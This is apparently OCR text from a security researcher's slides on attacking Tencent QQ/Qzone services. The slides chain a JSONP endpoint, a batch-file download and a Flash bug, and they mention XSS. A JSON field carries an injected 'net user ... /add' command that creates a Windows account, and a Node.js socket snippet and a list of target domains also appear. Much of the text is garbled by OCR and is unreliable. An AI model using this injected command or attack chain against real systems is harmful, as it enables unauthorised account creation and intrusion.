# Transmission Control Protocol, Src Port: 60421 (60421), Dst Port: http (80), Seq: 1, Ack
- Hypertext Transfer Protocol
GET /1.txt HTTP/1.1\r\n
Host: Xx¥.com'r'n
User-aAgent: gainover'rin
Ay
= Hypertext Transfer Protocol
= Data (239 bytes)
pata: 2048545450273122310d03416363657074323202a2F2a0d0a. ..
[Length: 239]

Ry




Client = net.connect("183.61.46.170",function(){

Client.write("GET /"+ url +" HTTP/1.2\"\n");
Client.write("Accept: */*\r\n");

};
BATRE T Host, (HIRMIFABERCRERTT IP, #1522, FATHEE
N EIX NP AT SR g 3844 T 6T B B Y !

IP: 183.61.46.170

b.gqzone.qg.com snsapp.gzone.qg.com
gqshow2-udv.qg.com drift.gzone.qg.com
sns.gzone.qqg.com drift.pengyou.com
ishare.pengyou.com iyouxi.vip.qg.com
WWW.zjump.cn wb.qzone.qgqg.com
wap.flower.gzone.com wbcount.pengyou.com

Xiaoqu.qg.com



A WRLE AP IS SR AT LR 2

A AT XA IR R JIT 75 WEBGR B 25 2

A= 302Bk%%, fFE M AR
HA B A jsonp K
B EE i jsonEdE ;0
HA A jsonpf I

bat/cmd DU N AR H el B N B/ 6§38
b Ah FE 2% 11 i




B2 TE b.qzone.qq.comiF, T R B —/NISONZEL?

2 FH 5] SR M0A 5 !

3‘_‘;2 / [Y b.gzane.qg.com/egi-bir x

-

C | [ b.gzone.qg.com/cgi-bin/custom/output_custom_window.cgi?uin=22871560&type=json

!

”href” : 2 ,

r/_ _\\

”imgtitle”{l}|| net user gainovertest ahhahaha /add

o I 3 3
desc” : aaaaa ,

“target”:’ blank’,




1% XSS bo4
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FLASH

v

Json 2 download - bat - openURL

(Flash Bug)

LRPRE: CPERRAR TR E A B!
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WiH:  http://www.weibo.com/gainover
H8%H: g @live.com

Twitter: @gainoverl
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